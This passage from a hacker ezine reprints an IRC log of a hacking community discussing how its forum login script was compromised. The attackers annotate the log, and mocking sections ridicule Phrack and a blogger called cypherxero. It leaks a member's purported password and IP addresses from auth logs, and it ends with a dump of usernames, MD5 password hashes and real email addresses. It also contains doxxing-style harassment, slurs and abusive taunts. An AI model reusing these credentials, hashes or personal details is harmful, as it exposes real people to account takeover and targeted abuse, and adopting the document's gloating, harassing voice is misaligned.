16:24 <&Vesalius> naxxtor, because you could of helped
16:24 <~naxxtor> someone comrpromised the login script didn't thety
16:24 <~belial> no he cant download the database
16:25 <~naxxtor> i knew it!!! i've suspected that for AGES
16:25 <&SHAGGSTaRR> I think he had access to where they were stored on the
server, not waiting for people to log in.
16:25 <~belial> IPB doesnt work like that
16:25 <+BOfH> belial: Is this the thing that's hosted on a VM?
16:25 <&SHAGGSTaRR> So how does IPB work then to check that a pass given
correlates with the pass stored?
16:26 <~naxxtor> it'll md5 hash the password that's been input
16:26 <~naxxtor> then compare it to an md5 in the DB
16:26 <&Vesalius> but if he compromised it
16:26 <&SHAGGSTaRR> So he's had awhile to crack 'em then =/
16:26 <&Vesalius> that means he has most peoples
16:26 <~belial> its a MD5 salt
16:26 <~naxxtor> however if you modified the login script he'd have access
to plaintext passwords
16:26 <~naxxtor> which is bad
16:26 <&Vesalius> exactly
16:26 <&SHAGGSTaRR> Well md5s aren't uncrackable
16:26 <&SHAGGSTaRR> http://www.milw0rm.com/cracker for example
16:26 <&Vesalius> hes had access to it for over 24 hours in that case
16:26 <~belial> md5s arnt, but they are salted
16:27 <~naxxtor> SHAGGSTaRR, md5s arn't uncrackable but it still takes a
long time
16:27 <~naxxtor> it's easier to snarf the passwords
16:27 <&SHAGGSTaRR> So either way he's had a good while to play with the
box =/
16:28 <~belial> anyway it will all be sorted out soon in a few seconds
16:28 <~belial> no last acess was today
16:28 <~belial> and no access was made to database
16:28 <~naxxtor> where were the passwords being stored
16:29 <~belial> on a fag packet
16:29 <~belial> btw forums are back up
16:31 <&Vesalius> belial, he had access for at least 24 hours though
16:31 <~naxxtor> did you pay for them this time?
16:32 <~belial> yes
16:33 <~naxxtor> cool
16:33 <~naxxtor> now what happened to our old theme
16:33 <&_hyper_> lol on a fag packet
16:34 <~belial> refresh your browser duuud
16:34 <&_hyper_> :p
16:39 <&SHAGGSTaRR> Some guy on the news is called Bredan DeBeer
16:39 <&SHAGGSTaRR> Thats an awesome name
16:39 <&SHAGGSTaRR> BREAD AND DA BEER
16:39 <&SHAGGSTaRR> He has it all right in his name
16:40 <@muftak> lol, i now have 3 cablemodems online at the same time
16:41 <&SHAGGSTaRR> l33b
16:49 <&_hyper_> right bed time
16:49 <&_hyper_> busy day tomorrow
16:49 <&_hyper_> :)
16:49 <&_hyper_> night all
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16:52 <&SHAGGSTaRR> Aww he missed us and wanted to come back and make sure
we're all okay.
16:54 <&Vesalius> lol
16:54 <&Vesalius> I remember when he came back to the pub
16:54 <&Vesalius> said he went to maccies and bought the kiddys a happy
meal
16:54 <&Vesalius> Be|ia| &&|| belial, thank you for fixing the forums
16:55 <&Vesalius> thats the geekiest and or ever
16:56 <&Vesalius> OMFG
16:56 <~belial> Vesalius: no problem, anything for the community
16:56 <&Vesalius> =]
16:56 <&Vesalius> I hope they don't talk this all the way through this
episode of Dr Who
16:57 <&Vesalius> I feel like im stuck in English Literature again
16:57 <&Vesalius> belial, we helped =]
16:57 <&Vesalius> I glined him several times
16:57 <&Vesalius> somehow though
16:57 <&Vesalius> he seemed to be connected through naxxtor 
16:57 <&Vesalius> he had the same IP and host
16:57 <+Jordan> bai
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16:58 <&Vesalius> bai
17:00 <~naxxtor> huh what
17:01 <~naxxtor> iiah
17:01 <~naxxtor> fucker
17:01 <~naxxtor> i gave him a shell ### OWNED
17:01 <&Vesalius> hahahahaha
17:02 <~belial> ??who?
17:02 <&Vesalius> "When you get home you can tell everyone you've seen
shakespeare"
17:02 <~naxxtor> and he symlinked .bash_history to /dev/null
17:02 <&Vesalius> "yeah and I can get sectioned"
17:02 <&Vesalius> naxxtor, thats quite clever =]
17:02 <&Vesalius> but wrong
17:02 <~belial> who did you give a shell to?
17:02 <~naxxtor> m4tr1x
17:02 <&Vesalius> >=[
17:02 <~belial> why?
17:02 <&Vesalius> m4tr1x === htek
17:02 <&Vesalius> btw
17:02 <~naxxtor> i gave him a shell on a VM
17:03 <~belial> why?
17:03 <~naxxtor> completely sectioned off from the rest of the world ##not
really fag, i irc'd from it..
17:03 <~naxxtor> so all he had access to was my external connection
17:03 <~naxxtor> because i was feeling charitable
17:03 <~naxxtor> and didn't think it'd make any different
17:03 <~belial> i wouldnt give shells to random people naxx...
17:04 <~naxxtor> it was on an isolated VM
17:04 <~naxxtor> which i've set up to be a shell server
17:04 <~naxxtor> he had access to nothing
17:04 <~belial> ok
17:04 <~naxxtor> all he did was run irssi
17:04 <&Vesalius> and
17:04 <~belial> but would that not bypass the gline then
17:04 <&Vesalius> symlink bash history
17:04 <&Vesalius> belial, nope
17:04 <&Vesalius> he was glined from that connection
17:05 <~belial> ok
17:05 <&Vesalius> the same one naxxtor was one
17:05 <&Vesalius> he only used it so I couldnt gline him
17:05 <&Vesalius> lol
17:05 <&Vesalius> because it would of glined nax too
17:05 <~naxxtor> ?
17:05 <~belial> he was being an ass on IRC
17:05 <&Vesalius> /gline *m4tr1x*@whatever.plus.com
17:05 <~belial> he got glined, then used the vm you gave him
17:06 <&Vesalius> and got glined again
17:06 <&Vesalius> I glined him
17:06 <&Vesalius> erm
17:06 <&Vesalius> 3 maybe 4 times
17:06 <~belial> to connect so that he couldnt get glined
17:06 <&Vesalius> was so much fun ## If you think thats fun, you should
try out hacking :D
17:06 <&Vesalius> im hoping he will return at some point
17:06 <&Vesalius> so I may gline him further
17:06 <~naxxtor> well all he needs to do is change his config
17:06 <~naxxtor> i've removed his access
17:06 <&Vesalius> his home one is glined too btw
17:06 <~belial> who is l0l?
17:06 <&Vesalius> we arn't sure
17:07 <&Vesalius> allthought htek said he wasn't alone here
17:07 <&Vesalius> but I recognise the nick
17:07 <&Vesalius> sts
17:07 <&Vesalius> xelix
17:07 <&Vesalius> erm
17:08 <~naxxtor> he tried to root the box lol
17:08 <@muftak> isn't symlinking .bash_history to /dev/null the first
thing everyone does on a shell?
17:08 <~naxxtor> vm01 sudo:   m4tr1x : user NOT in sudoers ; TTY=ttyp1 ;
PWD=/home/m4tr1x ; USER=root ; COMMAND=/bin/su
17:08 <~naxxtor> /var/log/auth.log:May	9 16:09:22 vm01 sshd[3770]:
Accepted password for m4tr1x from 66.119.207.196 port 24455 ssh2 ## LOL
17:08 <~naxxtor> woot
17:08 <&Vesalius> hmm
17:08 <&Vesalius> l0l is from smashthestack
17:09 <@zinya-> why do we got loads of weirdos?
17:09 <@zinya-> get*
17:09 <~naxxtor> shall we gline cpucafe?
17:09 <~naxxtor> because we ARE loads of weirdo
17:09 <~naxxtor> s
17:09 <@zinya-> yes
17:09 <@zinya-> lol
17:09 <~belial> right im going to have to kill this irc session 
17:10 <~naxxtor> /var/log/auth.log:May	9 00:36:12 vm01 sshd[6117]:
Accepted password for m4tr1x from 68.230.70.235 port 61298 ssh2
17:11 <~naxxtor> huh?
17:11 <&Vesalius> it has angered him
17:11 <&Vesalius> GRR
17:11 <~naxxtor> so what was this guy's beef
17:11 <&Vesalius> he doesn't like psg
17:11 <&Vesalius> as psg is apparantly a self proclaimed elitest hacker
##YOU ARE LEARNING
17:11 <&Vesalius> and he is part of cDc
17:11 <~naxxtor> ah right i think i know
17:11 <&Vesalius> so htek naturally hates him
17:11 <~naxxtor> hang on i can show you why he came
17:11 <@zinya-> and cdc give hackers a bad name
17:12 <&Vesalius> and mainly stressed because psg has a wikipedia entry
17:12 <&Vesalius> but so does David Mytton
17:12 <@zinya-> he was looking for someone originally
17:12 <@zinya-> i think
17:12 <&Vesalius> who?
17:12 <@zinya-> erm
17:12 <~naxxtor> http://milw0rm.com/papers/134 ## naxxtor loves meeee
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17:13 <~naxxtor> == The Target ==
17:13 <~naxxtor> Your target is a shameless corporate tool. His name is
Mark Hinge and his
17:13 <~naxxtor> contemporary nick is psg.
17:13 <@zinya-> 17:27 -!- htek [htek@106D0D81.19BCA1BF.9EAC391E.IP] has
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17:13 <@zinya-> 17:28 < htek> hey, this is a uk based site right?
17:13 <@zinya-> 17:28 < htek> this is a long shot
17:13 <@zinya-> 17:28 < htek> but do any of you know
coder-underground.com?
17:13 <~naxxtor> lol wtf
17:14 <@zinya-> 17:28 < htek> im looking for a guy who used to be an admin
there
17:14 <@zinya-> 17:28 < htek> i lost touch
17:14 <@zinya-> 17:29 < htek> did any of you guys goto coder-underground
17:14 <@zinya-> 17:29 < htek> all i know is that the guy was uk
17:14 <@zinya-> 17:29 < htek> his name was Uminashoe
17:14 <~Be|ia|> i know uminashoe
17:14 <@zinya-> lol
17:14 <&Vesalius> I think I do too
17:14 <&Vesalius> and I recognise the url
17:15 <~naxxtor> if he was trying to pwn psg then he failed miserabley
#LMFAOROFLLMFAOROFLLMFAOROFL naxxtor you fag (btw, naxxtor pw = t1ddl3s)
17:15 <~Be|ia|> Uminashoe used to go to 2600 we lost touch a while back
17:15 <&Vesalius> sub Contact {
17:15 <&Vesalius> Since we know you all enjoyed this issue very very much
we setup an e-mail account
17:15 <&Vesalius> for you to send us your questions or comments, so feel
free!
17:15 <&Vesalius> iLite [at] hushmail.com
17:16 <&Vesalius> lol
17:16 <&Vesalius> MAILRAEP
17:16 <~Be|ia|> what the hell is up with the topic?
17:16 -!- Vesalius changed the topic of #hvr to: HA - CKER VOICE RADIOOOO
|  09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 | <naxxtor> we should
have sajoin'd shaggstar and jojo into the pub |
http://stream.hackervoice.co.uk:8000/stream.mp3.m3u teh stream | <htek> i
am jealous of your life 
17:16 <&Vesalius> yeah that was SHAGGSTaRR I do apologise
17:16 <~Be|ia|> fucks sake 
17:16 <&SHAGGSTaRR> You said it
17:16 <&SHAGGSTaRR> muftak said topic it
17:16 <&SHAGGSTaRR> I topiced it
17:17 <~Be|ia|> no excuse 
17:17 <&SHAGGSTaRR> NOEXCEPTIONS
17:17 <&SHAGGSTaRR> It's not an excuse
17:17 <&SHAGGSTaRR> I'm saying what happened.
17:17 <@zinya-> lol
17:17 <@zinya-> OSHIELDS2005: grindordie and mr cheese took our open
source missions, from our staff
17:17 <@zinya-> forum, and put them on thier site,  first of all, almost
all the basics, unless new
17:17 <@zinya-> we doint copy, or as it would seem
17:17 <@zinya-> ones were recently added within the past 8 months,  3
reals, 2 steganos, 2
17:17 <@zinya-> javascript, and the war games they have, which is why eg
hasnt released our yet,  so
17:17 <@zinya-> took their open source missions
17:17 <~naxxtor> hey Be|ia| call me :)
17:17 <@zinya-> erm, open soure
17:17 <@zinya-> source*
17:17 <~Be|ia|> dont make me have to get the whip out :P
17:18 <~Be|ia|> anyway back to nurseing my latop
17:18 <~naxxtor> just for a second
17:18 <@muftak> SHAGGSTaRR: jump off a cliff
17:18 <&SHAGGSTaRR> muftak, nokthx.
17:18 <&SHAGGSTaRR> Why?
17:18 <@muftak> SHAGGSTaRR: you have to do everything i tell you to do :)
17:18 <&SHAGGSTaRR> brb, finding a nearby cliff.
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17:20 <&Vesalius> =]
17:20 < SHAGGSTaRR> Ves change my hostserv host plz?
17:20 <&Vesalius> Vesalius> I havn't heard from you since FR went down
17:20 <&Vesalius> <Vesalius> how have you been?
17:20 <&Vesalius> <akriel> well busy actually
17:20 <&Vesalius> <akriel> was hired on as a ethical hacker
17:20 <&Vesalius> <akriel> then i quit to become a senior admin
17:20 <&Vesalius> <akriel> then i got married
17:20 <&Vesalius> <akriel> had a kid
17:20 <&Vesalius> <akriel> bought a house
17:20 <&Vesalius> <akriel> new cars
17:20 <&Vesalius> <akriel> got promoted to ISO
17:20 <&Vesalius> <akriel> information security officer
17:21 <&Vesalius> 2 years
17:21 <&Vesalius> thats kind of depressing
17:21 <&Vesalius> ive done like
17:21 <&Vesalius> nothing
17:21 <@muftak> have you drunk beer and had fun?
17:22 <&Vesalius> I dont drink much
17:22 <&Vesalius> and when I do
17:22 <&Vesalius> I dont drink beer
17:22 <&Vesalius> ive had fun
17:22 <&Vesalius> =]
17:22 <&Vesalius> LOTS
17:22 <&Vesalius> of fun
17:22 <@muftak> he is having to put up with a nagging wife and screaming
kid
17:23 <&Vesalius> erm
17:23 <&Vesalius> hes typing in acronymns
17:23 <&Vesalius> <Vesalius> <akriel> was hired on as a ethical hacker
17:23 <&Vesalius> <akriel> attracks to much attention
17:23 <&Vesalius> <Vesalius> care to explain about that?
17:23 <&Vesalius> <akriel> yeah I worked for a comp here in dallas
17:23 <&Vesalius> <akriel> I did sec audits for goverment compliance
17:23 <&Vesalius> <akriel> such as 
17:23 <&Vesalius> <akriel> ffiec
17:23 <&Vesalius> <akriel> fdic
17:24 <&Vesalius> <akriel> glba
17:24 <&Vesalius> <akriel> hippa
17:24 <&Vesalius> <akriel> sox
17:24 < SHAGGSTaRR> HIPPASOX
17:24 < SHAGGSTaRR> Almost like hoppopotamus socks
17:24 < SHAGGSTaRR> hippo socks would be great
17:25 <@zinya-> it sounds like they're targetting psg for no real reason
at all
17:26  * SHAGGSTaRR prods psg with a stick
17:26 <@zinya-> sounds like facisim to me
17:27 <@zinya-> fascism*
17:27 <&Vesalius> lol
17:27 <&Vesalius> akriel listens to the show
17:27 <&Vesalius> >_<
17:28 < SHAGGSTaRR> Where's akriel from (on the net)?
17:28 <&Vesalius> FR
17:28 <&Vesalius> fallenroot
17:28 <&Vesalius> which doesn't exist
17:28 <&Vesalius> and hasn't done for two years =[
17:28 <&Vesalius> first ever community I belonged too 
17:28 <&Vesalius> was only about 10 of us
17:28 -!- mode/#hvr [+a SHAGGSTaRR] by Vesalius
17:29 <&SHAGGSTaRR> hmm first community I can say I belonged to was ABS on
LCIRC
17:30 <&SHAGGSTaRR> Which kinda spans out to the far corners of the
popular Unreal-running IRC networkds
17:30 <&SHAGGSTaRR> -d
17:31 <@zinya-> i belonged to #zelda_chat on some guys server
17:31 <@zinya-> when i was about 14
17:32 <@zinya-> full of n00bs who thought they could own people
17:32 <&Vesalius> wow
17:32 <&Vesalius> for the first time in 2 years
17:32 <&Vesalius> I know why FR dissapeared # Editor's note: Who doesn't
remember the FR-boobys debacle?
17:32 <@zinya-> and they had a weird obsession with being called 'insert
random colour here'Nugget
17:33 <@zinya-> like BlueNugget
17:33 <@zinya-> or RedNugget
17:33 -!- muftak is now known as BlueMuftak
17:33 <@zinya-> then it went to BN
17:33 <@zinya-> and RN
17:33 <@zinya-> i think there was a gold aswell
17:33 <&SHAGGSTaRR> I know someone who calls himself DarkNugget
17:33 -!- BlueMuftak is now known as PinkMuftak
17:33 <&SHAGGSTaRR> But I think it's cause his surname's nugent
17:33 -!- PinkMuftak is now known as GreenMuftak
17:34 <+psg> Yo?
17:34 <@zinya-> hello, just reading up on your 'targetting'
17:34 <@GreenMuftak> damn, server wont let me change nick again, i'm stuck
on green
17:34 <+psg> That was last November ## WE NEVER FORGET
17:34 <+psg> ;)
17:34 <@GreenMuftak> did you pwn you?
17:34 <@zinya-> they sound like fascists
17:34 <&SHAGGSTaRR> Irony or what eh muftak?
17:35 <+psg> they sound like children. ##so do you when you talk to your
gf.
17:35 <&SHAGGSTaRR> "It's stuck on green and won't let me go!" XD
17:35 <+psg> and no I've been hacked precisely 0 times. ## WE TOOK YOUR
OWNAGE VIRGINITY :D
17:35 <+psg> :)
17:35 <@GreenMuftak> "make it come green""
17:35 -!- GreenMuftak is now known as muftak
17:42 <&Vesalius> oh god
17:42 <&Vesalius> I missed akriel
17:42 <&Vesalius> I spent a year looking for those guys
17:42 <&Vesalius> a whole year
17:42 <&Vesalius> and then found some by accident
17:42 <&Vesalius> =]
17:42 <~naxxtor> lol
17:44 <@oOJINxOo_> 2007-01-18[ezine] ZFO 2	    january the 18th...
there doing a really really really bad job of 0wning you psg ^_^
17:44 <@oOJINxOo_> their*
17:44 <@zinya-> they're*
17:44 <@oOJINxOo_> ty
17:44 <~naxxtor> lol
17:44 <~naxxtor> yes
17:47 <&SHAGGSTaRR> fucking greta
17:47 <&SHAGGSTaRR> Great even
17:47 <&SHAGGSTaRR> I have a funeral to attend =/
17:47 <~naxxtor> oh .. 
17:48 <&SHAGGSTaRR> I might brust in, blast yakety sax, pimpslap the
preist guy then skip out.
17:48 <&SHAGGSTaRR> burst*
17:48 <&SHAGGSTaRR> No that really wouldnt go down to well
17:48 <~naxxtor> no
17:48 <~naxxtor> probably not appropriate
17:48 <&SHAGGSTaRR> I've never been to a funeral before =/
17:48 <@oOJINxOo_> get used to them
17:49 <&SHAGGSTaRR> ...
17:49 <@oOJINxOo_> use*
17:49 <&SHAGGSTaRR> I dont even OWN any formal clothing
17:49 <&SHAGGSTaRR> my mate was like "Dig your school pants and shoes up
and borrow one of my white collarared shirts"
17:49 <@oOJINxOo_> should be fine
17:50 <&Vesalius> LOL @ nighty night shakespeare
17:50 <@oOJINxOo_> + your like 15, so people probably wont expect 2 much
from you, just being there will be enough ya know
17:50 <+psg> oOJINxOo_: at least one of the coloc's i use is completely
wide open too ## you seem proud fag
17:51 <+psg> ho hum.
17:51 <@oOJINxOo_> sry if your not 15, not great at remebering peoples
ages
17:51 <&SHAGGSTaRR> I'm 15 :P
17:52 <&SHAGGSTaRR> Well actually I'm part of an m15 pedo sting posing as
a 15 year old on IRC
17:52 <@zinya-> can someone post the second part of ep 55 of bleach to
youtuble plz
17:52 <&SHAGGSTaRR> So yeah, my character is fifteen.
17:52 <@oOJINxOo_> lol
17:52 <@zinya-> there isn't one, but there is a part 3
17:52 <@oOJINxOo_> was that like the first/only guy who has come after ya
so with that motive psg?
17:53 <@oOJINxOo_> so far*
17:57 <~naxxtor> mmkay
17:57 <~naxxtor> now anyone using cpucafe.com is blocked from everything
17:57 <&SHAGGSTaRR> But cpucafe.com was so fun to explore!
17:57 <~naxxtor> continue exploring
17:57 <&SHAGGSTaRR> susie.cpucafe.com ;)
17:57 <~naxxtor> but anyone within their netblock can't access IRC, the
stream or the website
17:59 <~Be|ia|> wooo hooo i fucking done it
17:59 <@oOJINxOo_> hppy nw dy
17:59 <~Be|ia|> i got ubuntu fisty working on my propriotiry arse of a
laptop
18:00 <@oOJINxOo_> nice
18:00 <&SHAGGSTaRR> rofl ubuntu fisty
18:00 <~Be|ia|> feisty
18:00 <~Be|ia|> or however its spelt
18:00 <@muftak> fisty flange
18:00 <@oOJINxOo_> lol
18:00 -!- SHAGGSTaRR changed the topic of #hvr to: HA - CKER VOICE
RADIOOOO |  09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 | <naxxtor> we
should have sajoin'd shaggstar and jojo into the pub |
http://stream.hackervoice.co.uk:8000/stream.mp3.m3u teh stream | <htek> i
am jealous of your life | <Be|ia|> I got ubuntu fisty working
18:00 <~Be|ia|> although i need to fix the keymapping is its all out of
whack
18:01 <@oOJINxOo_> UBUNTU FISTY - for all your hardcore pron needs
18:01 <@muftak> i must have been lucky, it all worked out of the box with
my thinkpad
18:01 <+Crypt> lol multi-screen support for more porn
18:01 <&SHAGGSTaRR> UBUNTU FISTY - Shuttleworth WILL include proprietary
codecs...
18:02 <@muftak> now with usb powered screen wipers
18:02 <+Crypt> yeh :(
18:04 -!- Zakolus [0x5A616B@thv-76E311E6.bna.bellsouth.net] has joined
#hvr
18:04 -!- mode/#hvr [+v Zakolus] by ChanServ
18:04 <+Zakolus> Hello
18:07 <&Vesalius> ji

Hackervoice, please get off the internet, btw, your forum is sniffed
AGAIN.

I'll leave you with a little response to Belial regarding this post:

As this a open community and everyone knows we try and run a clean ship
here. I would like to inform you about whats been going on in the
background
As you may know we are good friends with psg from CDC and whitedust. With
every person that has a bit of internet recognition develops a following
of asshats who envy him/her.
This one particular asshat has a deathwish for psg. He has spent most of
his time and life trying to own psg. but never got anywere.
he goes by the name of "bones" & "kingpin" and possibly other handels. he
likes to be a lot of people to make himself look like he has friends.
He thinks he is a uber hacker. But all he did was run a well known exploit
on admittedly out of date forums (now have of course been upgraded) to log
passwords!
he also thought it would make him cool to use a c99 shell tongue.gif And
this noob even tryed to run irssi on our shared hosts? I mean WTF did he
really think a host would have irssi ?? is he *that* stupid.
So if you do come across this asswhipe who has an agenda for psg and
possibly myself now dont give him any attention just ignore his skiddy
attacks.
He claims to be a hacker but all hackers hate what he does and he has not
reputation but collects emenies. He thinks he wins but he has nothing to
defend. For us being offline for 2 days is just a ripple in the ocean. He
is not worth my time or anyone elses. HE is nothing, he writes a shitty
Ezine for milw0rm and thinks that will get him instant respect. So what
you took us offline do you think I could be bothered. if all you have to
live up to is pissing hackers off then i wish you all the best.

Now you not only have psg to look out for, the CDC, whitedust. but you
also have the biggest UK hacking community to fear.
well done. so tell me do you feel big?

also i would like to add a further point. Im taking a zero tolerance to
noobs like this from now on. if you remeber "pr0n" yeah he is gone too.
any more will get a ass full of belial tongue.gif
Belial out.

---* we do not envy psg/cdc/whitedust and neither should you.
---* when we did get around to attacking psg it didn't take us long at
     all.
---* please direct me to some of this internet recognition.
---* I like your "never got anywhere line"...
---* what is this well known exploit i used? stop lying to cover your noob
     ass belial.
---* irssi on webhost, dude, does this zine make it look like we are the
     type of people that wouldn't remove logs? anything there is intentional
     for lolz like this..you see, we like to make noobs look like noobs. 
     You don't need any help with that.
---* I don't want respect.
---* rofl, i think its psg, CDC, and whitedust who need to look out for
     me. now fuck off you fat cunt.
---* btw, your mother should have drowned you at birth...look at yourself 
     in a mirror pudding boy!
     (http://www.img79.imageshack.us/img79/5342/daifqtpiedlm4sh6.jpg).

EOHACKERVOICE
);}




sub P64 { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOP64'


Hello Hackers! I am elite Romanian hacker. I am the Circle of Lost
Hackers. Is joke: circle begins and ends with me. I am the well educated.
I was in school and taking the English courses. I will unite the
underground. Big concessions (concessions nice word, yes?) are made by
all. Bad guys must stop being so bad, and good guys must stop using good
grammar. Enjoy the Phrack 64!

Some cynics (cynics good word, yes?) complain these type things:

- We are the not qualified to edit: Some or all of we cannot write decent
  English.
- We do not edit: We did not fixed the punctuation, spelling, or grammar
  issues that are prevalent throughout Phrack 64.

Excuse me copy-paste english (love babelfish LOL)

I think you should think outside box, hacker think outside box, to think
through my English.

We not so bad, authors not so good also! Authors make us words
"genericity" and "prophety" when silly authors probably think
"genericalness" and "prophecy"!.

Phrack authors hacker masters of run-on sentences. They do not have my
Romanian skill of simple short sentence! See this eg. from master Phrack
author:

"Instead of going straight to the results of the proposed implementation, 
we may introduce the domain of program analysis, without going deeply
in the theory (which can go very formal), but taking the perspective
of a hacker who is tired of focusing on a specific exploit problem
and want to investigate until which automatic extend it is possible
to find vulnerabilities and generate an exploit code for it without
human intervention."

The part "until which automatic extend" random from a common dictionary,
this method I well know!

My Phrack authors don't much read over their work but we read and we think
pretty good! We think double double word make point DOUBLE STRONG! Phrack
authors much do! "The method which I now propose relies on an undocumented
the undocumented Mac OS X system call".

Phrack has two kinds of authors, and these be them:

Weird foreigner with a small grasp of the English, such as Borat.
American with full sixth-grade education, like as Jethro from The Beverly
Hillbillies.

Before go, Here, good pro-Romanian anti-Bulgarian (boo Bulgara!) joke from
www:

You know the good thing about Romanians? They get shit done! Do you know
why we do not hear about Bulgarian hackers? Because the Romanians are
better! At any given moment, a dozen hackers throughout Bulgaria are
saying "Shit, those fucking Romanians beat me to it!"
 
Your truely,

PHRACK STAFF: Back on action.
PHRACK 64: Someone got do it.

==

If you want readers to imagine you as either Borat or Jethro, continue
writing without reading over your work. Write without editing. Write
without a dictionary. Write without submitting to a native English
speaker. It may become increasingly difficult for me to maintain a high
level of respect for the professionalism of my associates as a whole. 

Thank you, gladio and g463, for contributing fine articles with fine
English. Thank you, Borat and Jethro, for your fine work on the rest of
the articles in Phrack 64. 

EOP64
);}




sub Cypherxero { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOCYPHERXERO'


Oh cypherzero how fun he was with his elite blogs and even more elite
bash/perl scripts. Left us wordless!
Since cypherzero's blogging days are over ( he killed his site :( ) we
should introduce who cypherzero was:

"I'm 22 years old, and I'm a computer hacker that's about to be on the
move by myself to the big city. 
That city is Seattle, and I'm going to live it up, leet hacker style,
bitches."
Obtained from http://www.flickr.com/people/cypherxero/. See we're not
making this stuff up!

"My name is Cody, otherwise known as CypherXero in the digital online
world.
I'm 22 years old, and I live, eat, breathe, and sleep computers.
I've been using computers for over 10 years now, and my main interest is
in networking and security."
Obtained from http://claimid.com/cypherxero

He sure got popular with his "hacking e-zine" called "Exploit this!".
Where he introduced us with elite never by then seen
techniques for BOF attacks, SQL injections, XSS, SE'ing and ARP poisoning.

Thank you so much for the enlightenment, I'm sure it took you
quite some time to rip off code and read 9120083495823 small txts to
assemble that ...zine.
Not only that he was good at writing "educational zines" he was also an
amazing coder; take a look at this wonderful and useful perl script:

#!/usr/bin/perl -w

# XML Weather
# http://www.cypherxero.net/bin

use XML::TreeBuilder;

# NWS XML Feeds
# http://www.nws.noaa.gov/data/current_obs/
# Select your local XML Feed (NOT RSS!)

system("echo Parsing XML File...");

# ---------------------------------------------
# Change XML Feed below for your local weather
# ---------------------------------------------

system("ftp http://www.nws.noaa.gov/data/current_obs/KMOB.xml > /dev/null
2>&1");
system("clear");

# --------------------------------------------
# Change the basename of the XML file here!
# --------------------------------------------

my $file = 'KMOB.xml';
my $tree = XML::TreeBuilder->new();

$tree->parse_file($file);

foreach my $weather ($tree->find_by_tag_name('current_observation')){
    print $weather->find_by_tag_name('location')->as_text;
    print " (";
    print $weather->find_by_tag_name('station_id')->as_text;
    print ")\n";
    print $weather->find_by_tag_name('observation_time')->as_text;
    print "\n\nTemperature: ";
    print $weather->find_by_tag_name('temperature_string')->as_text;
    print "\nWind: ";
    print $weather->find_by_tag_name('wind_string')->as_text;
    print "\nPressure: ";
    print $weather->find_by_tag_name('pressure_string')->as_text;
    print "\nHeat Index: ";
    print $weather->find_by_tag_name('heat_index_string')->as_text;
    print "\n";
}

Yes, he introduced system("echo ") to the programming world! Such
cleverness was never seen before in the history of programming.
He also shows us how to use useless amount of print's to surround 
text with parens and how to use new lines the elite way!

Also his bash is amazing, take a look at this useful bash script:

#!/bin/bash

# Builds a table of hashes and the words that make the hashes
# Uses a wordlist of any kind!

files="`cat $1 | wc | awk '{ print $1}'`"
files="`expr $files + 1`"
linenum="1"
NUM="1"

echo "Now hashing the wordlist..."
echo "This could take awhile..."

while [ "$linenum" != "$files" ]
do
word="`sed ''$NUM'q;d' $1`"
hash="`md5 -d"$word"`"
echo "$hash $word" >> $2
NUM="`expr $NUM + 1`"
linenum="`expr $linenum + 1`"
done

echo "DONE!"

exit 0

In this script Mr. cypherzero shows us how to quote variables in bash just
because that's the elite way foo. 
And that proper tabbing is just lame in bash.
He never get to post his C/C++ programs we can only wonder how elite they
could have been.
He was a great exploit developer his eleet sql injections made it in
milw0rm, SecurityFocus and much more places, and he felt so proud, just
look at him.

Post from 1:
 Title: They sent me 'round the net
 My SQL Injection is making it's rounds all over the internet, and I feel
great that I finally got an exploit (my first of many!), and it's crazy
some of the places it's at now. Here's a small list:

<ul>
	<li>milw0rm</li>
	<li>SecurityFocus</li>
	<li>National Vulnerability Database (NIST.gov)</li>
	<li>SANS Internet Storm Center</li>
	<li>Internet Security Systems XForce</li>
	<li>SecurityReason</li>
	<li>SecurityLab</li>
	<li>Sla.ckers</li>
	<li>EliteHackers</li>
	<li>Joomla</li>
	<li>Phil-Taylor</li>
	<li>Mambo Server</li>
	<li>and much more!</li>
</ul>




Comment from Eric B:
I didn't know you had that credited to you, I thought you were just using
an known exploit on that certain someone's site. Crazy man.


Yes like a kid in a candy store, just that in this case the candies are
the ego-boost and he got it for being such a good boy for reporting a
vulnerability.
He also loved perl, but unfortunately perl didn't love him back thus the
crappy code that made us cry :(

Post from 1:
 Title: Rewriting fuser for perl modules
 I'm going to be rewriting the fuser shell script to handle the download,
compile, and install of perl modules. (from repositories such as <a
href="http://www.cpan.org/">CPAN</a>)

Oh, and perl kicks ass. If I've learned one thing, it's that I cannot
STAND languages like Java. It's way too bulky and crappy, and for the
things I want to do, shell scripting, perl, and eventually C will suit me
and my programming needs just fine. I'm not out to write a huge
application, but rather tie concepts and code together into small, usable
code.

UPDATE: OK, the fuser for perl (fuserp) script is ready for use! Grab it
<a href="http://www.cypherxero.net/bin/scripts/fuserp">here</a>.

Cypherzero sure knows how to secure php applications, especially
commercial software such as wordpress so retarded script kiddies can't get
him. 

And even if he missed something he can always blame his hosting for being
lame and not patching their vulnerabilities like any good whitehat would
do. 

But unfortunately the evil hackers put so much pressure on him, so he
rm'ed his whole site and his domain doesn't have any DNS records :(
We are sure going to miss his whoring and we'll cry day and night because he
didn't make in the media, guess your whoring wasn't good enough *sniff*
Perhaps someone should take cypherzero's example and do the same before
the evil haqurs get them and embarrass them publicly?
Anyway we were nice enough to provide hosting for cypherzero's blog. It's
just a bunch of .txt's of his posts and comments. Please visit
http://cypher0.h18.ru
Now for some useless hash dumping

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togs:8ef2ccab4b6d7dc48ed5bb053d114d95:ctognela@threedd.com:
rabbit:5a5beb64f54ffd49e550c2b0ab74ec76:rabbit2k@gmail.com:
ComFuLogiK:f7a0f338a9e831896177ccbd7ddb8f57:jfetzko@sbcglobal.net:
roumen:4dbaedd11f42b722ec71c9600cfd7947:roman.strobl@sun.com:
rdm:8b576e3fc65045936dfbea4e206dbb26:russ81@ptd.net:http://rmmweb.net
door33:b991b5881c811edbd90ed12c2a316cb9:frank@slickcode.org:http://door33.sourcehack.org
ilselu1:3c497915ed0371a16b9a760810606c20:ilselu1@gmail.com:
ZeratulsAvenger:bd07d4d09613b506e4ac565402972de0:zeratulsavenger@hotmail.com:
beta:ee3f7b3ce2d750c44b86d8caee326e9b:betanerd@gmail.com:http://www.betanerd.com
shoebox:249783e0c78d0bdc4c4df862270a48bc:shoeboxthedog@gmail.com:
